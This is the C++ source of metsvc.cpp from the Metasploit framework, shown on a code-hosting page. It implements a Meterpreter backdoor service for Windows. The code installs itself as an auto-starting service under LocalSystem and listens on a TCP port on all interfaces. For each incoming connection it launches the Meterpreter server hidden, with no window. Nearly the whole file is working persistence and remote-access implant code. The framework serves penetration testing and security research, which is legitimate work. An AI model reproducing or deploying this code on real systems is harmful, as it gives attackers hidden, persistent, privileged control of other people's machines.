Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/metsvc/src/metsvc.cpp
Views: 11780
/* Copyright (c) 2007, Determina Inc.1* All rights reserved.2*3* Redistribution and use in source and binary forms, with or without4* modification, are permitted provided that the following conditions5* are met:6*7* 1. Redistributions of source code must retain the above copyright8* notice, this list of conditions and the following disclaimer.9* 2. Redistributions in binary form must reproduce the above copyright10* notice, this list of conditions and the following disclaimer in the11* documentation and/or other materials provided with the distribution.12* 3. Neither the name of Determina Inc. nor the names of its contributors13* may be used to endorse or promote products derived from this software14* without specific prior written permission.15*16* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"17* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE18* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE19* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE20* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR21* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF22* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS23* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN24* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)25* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE26* POSSIBILITY OF SUCH DAMAGE.27*/2829#include <stdlib.h>30#include <stdio.h>31#include <string.h>32#include <windows.h>3334#include "metsvc.h"3536//37// Globals38//3940SERVICE_STATUS status;41SERVICE_STATUS_HANDLE hStatus;4243//44// Listen for incoming connections and start the Meterpreter45//4647int start_meterpreter()48{49SOCKET sock = INVALID_SOCKET;50DWORD err = 0;5152// Get the current module directory5354char path[MAX_PATH];55char* p;5657if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {58err = GetLastError();59printf("Cannot get module file name (0x%08x)\n", err);60goto cleanup;61}6263if ((p = strrchr(path, '\\')) == NULL) {64err = -1;65printf("Cannot find directory in module name %s (0x%08x)\n", path, err);66goto cleanup;67}6869*p = '\0';7071// Build the server filename7273if (sizeof(path) - strlen(path) < sizeof(METSVC_SERVER)+1) {74err = -1;75printf("Cannot build server filename (0x%08x)\n", err);76goto cleanup;77}7879strncat(path, "\\", 1);80strncat(path, METSVC_SERVER, sizeof(METSVC_SERVER)-1);8182// Initialize Winsock8384WSADATA wsa_data;8586err = WSAStartup(MAKEWORD(2, 2), &wsa_data);87if (err != 0) {88printf("Cannot initialize Winsock (0x%08x)\n", err);89goto cleanup;90}9192// Create socket9394if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {95err = WSAGetLastError();96printf("Cannot create socket (0x%08x)\n", err);97goto cleanup;98}99100// Bind to 0.0.0.0101102struct sockaddr_in sockaddr;103104sockaddr.sin_family = AF_INET;105sockaddr.sin_port = htons(PORT);106sockaddr.sin_addr.s_addr = INADDR_ANY;107108if (bind(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR) {109err = WSAGetLastError();110printf("Cannot bind to port %d (0x%08x)\n", PORT, err);111goto cleanup;112}113114// Listen for incoming connections115116if (listen(sock, SOMAXCONN) == SOCKET_ERROR) {117err = WSAGetLastError();118printf("Cannot listen for incoming connections (0x%08x)\n", err);119goto cleanup;120}121122printf("Meterpreter service listening on port %d\n", PORT);123fflush(stdout);124125// Accept incoming connections126127while (TRUE) {128129SOCKET conn;130sockaddr_in peer;131int peer_len = sizeof(peer);132133if ((conn = accept(sock, (struct sockaddr*)&peer, &peer_len)) == INVALID_SOCKET) {134if ((err = WSAGetLastError()) == WSAECONNRESET)135continue;136printf("Cannot accept an incomming connection (0x%08x)\n", err);137goto cleanup;138}139140printf("Received connection from %s\n",141inet_ntoa(peer.sin_addr));142fflush(stdout);143144// Build the metsrv server command line145146char cmd[MAX_PATH];147int len = _snprintf(cmd, sizeof(cmd), "\"%s\" %d", path, conn);148149if (len < 0 || len == sizeof(cmd)) {150err = -1;151printf("Cannot build the metsrv server command line (0x%08x)\n", err);152goto cleanup;153}154155// Start the metsrv server156157STARTUPINFO startup_info;158PROCESS_INFORMATION process_information;159160ZeroMemory(&startup_info, sizeof(startup_info));161startup_info.cb = sizeof(startup_info);162163ZeroMemory(&process_information, sizeof(process_information));164165if (CreateProcess(path, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL,166NULL, &startup_info, &process_information) == 0)167{168err = GetLastError();169printf("Cannot start the metsrv server %s (0x%08x)\n", path, err);170goto cleanup;171}172173// Close our copy of the socket174175closesocket(conn);176}177178cleanup:179180// Cleanup181182if (sock != INVALID_SOCKET)183closesocket(sock);184185return err;186}187188189//190// Process control requests from the Service Control Manager191//192193VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)194{195switch (fdwControl) {196case SERVICE_CONTROL_STOP:197case SERVICE_CONTROL_SHUTDOWN:198status.dwCurrentState = SERVICE_STOPPED;199break;200201default:202break;203}204205if (SetServiceStatus(hStatus, &status) == 0) {206printf("Cannot set service status (0x%08x)\n", GetLastError());207exit(1);208}209210return;211}212213214//215// Main function of service216//217218VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)219{220// Register the service handler221222hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);223224if (hStatus == 0) {225printf("Cannot register service handler (0x%08x)\n", GetLastError());226exit(1);227}228229// Initialize the service status structure230231status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;232status.dwCurrentState = SERVICE_RUNNING;233status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;234status.dwWin32ExitCode = NO_ERROR;235status.dwServiceSpecificExitCode = 0;236status.dwCheckPoint = 0;237status.dwWaitHint = 0;238239if (SetServiceStatus(hStatus, &status) == 0) {240printf("Cannot set service status (0x%08x)\n", GetLastError());241return;242}243244// Start the Meterpreter245246DWORD err = start_meterpreter();247248if (err != 0) {249status.dwCurrentState = SERVICE_STOPPED;250status.dwWin32ExitCode = err;251status.dwServiceSpecificExitCode = 0;252253if (SetServiceStatus(hStatus, &status) == 0) {254printf("Cannot set service status (0x%08x)\n", GetLastError());255}256}257258return;259}260261262//263// Installs and starts the Meterpreter service264//265266BOOL install_service()267{268SC_HANDLE hSCManager;269SC_HANDLE hService;270271char path[MAX_PATH];272273// Get the current module name274275if (!GetModuleFileName(NULL, path, MAX_PATH)) {276printf("Cannot get module name (0x%08x)\n", GetLastError());277return FALSE;278}279280// Build the service command line281282char cmd[MAX_PATH];283int len = _snprintf(cmd, sizeof(cmd), "\"%s\" service", path);284285if (len < 0 || len == sizeof(cmd)) {286printf("Cannot build service command line (0x%08x)\n", -1);287return FALSE;288}289290// Open the service manager291292hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);293294if (hSCManager == NULL) {295printf("Cannot open service manager (0x%08x)\n", GetLastError());296return FALSE;297}298299printf(" * Installing service %s\n", SERVICE_NAME);300fflush(stdout);301302// Create the service303304hService = CreateService(305hSCManager,306SERVICE_NAME,307DISPLAY_NAME,308SERVICE_ALL_ACCESS,309SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,310SERVICE_AUTO_START,311SERVICE_ERROR_NORMAL,312cmd,313NULL,314NULL,315NULL,316NULL, /* LocalSystem account */317NULL318);319320if (hService == NULL) {321printf("Cannot create service (0x%08x)\n", GetLastError());322323CloseServiceHandle(hSCManager);324return FALSE;325}326327// Start the service328329printf(" * Starting service\n");330fflush(stdout);331332char* args[] = { path, "service" };333334if (StartService(hService, 2, (const char**)&args) == 0) {335DWORD err = GetLastError();336337if (err != ERROR_SERVICE_ALREADY_RUNNING) {338printf("Cannot start service %s (0x%08x)\n", SERVICE_NAME, err);339340CloseServiceHandle(hService);341CloseServiceHandle(hSCManager);342return FALSE;343}344}345346// Cleanup347348CloseServiceHandle(hService);349CloseServiceHandle(hSCManager);350351printf("Service %s successfully installed.\n", SERVICE_NAME);352fflush(stdout);353354return TRUE;355}356357358//359// Stops and removes the Meterpreter service360//361362BOOL remove_service()363{364SC_HANDLE hSCManager;365SC_HANDLE hService;366SERVICE_STATUS status;367DWORD err;368369// Open the service manager370371hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);372373if (hSCManager == NULL) {374printf("Cannot open service manager (0x%08x)\n", GetLastError());375return FALSE;376}377378// Open the service379380hService = OpenService(hSCManager, SERVICE_NAME, SERVICE_STOP | DELETE);381382if (hService == NULL) {383printf("Cannot open service %s (0x%08x)\n", SERVICE_NAME, GetLastError());384385CloseServiceHandle(hSCManager);386return FALSE;387}388389// Stop the service390391printf(" * Stopping service %s\n", SERVICE_NAME);392fflush(stdout);393394if (ControlService(hService, SERVICE_CONTROL_STOP, &status) == 0) {395err = GetLastError();396397if (err != ERROR_SERVICE_NOT_ACTIVE) {398printf("Cannot stop service %s (0x%08x)\n", SERVICE_NAME, err);399400CloseServiceHandle(hSCManager);401return FALSE;402}403}404405// Delete the service406407printf(" * Removing service\n");408fflush(stdout);409410if (DeleteService(hService) == 0) {411printf("Cannot delete service %s (0x%08x)\n", SERVICE_NAME);412413CloseServiceHandle(hSCManager);414return FALSE;415}416417// Cleanup418419CloseServiceHandle(hService);420CloseServiceHandle(hSCManager);421422printf("Service %s successfully removed.\n", SERVICE_NAME);423fflush(stdout);424425return TRUE;426}427428429//430// Start the service431//432433void start_service()434{435SERVICE_TABLE_ENTRY ServiceTable[] =436{437{ SERVICE_NAME, &ServiceMain },438{ NULL, NULL }439};440441if (StartServiceCtrlDispatcher(ServiceTable) == 0) {442printf("Cannot start the service control dispatcher (0x%08x)\n",443GetLastError());444exit(1);445}446}447448449//450// Main function451//452453int main(int argc, char *argv[])454{455if (argc == 2) {456457if (strcmp(argv[1], "install-service") == 0) {458459// Installs and starts the service460461install_service();462return 0;463}464else if (strcmp(argv[1], "remove-service") == 0) {465466// Stops and removes the service467468remove_service();469return 0;470}471else if (strcmp(argv[1], "service") == 0) {472473// Starts the Meterpreter as a service474475start_service();476return 0;477}478}479480// Starts the Meterpreter as a normal application481482start_meterpreter();483484return 0;485}486487488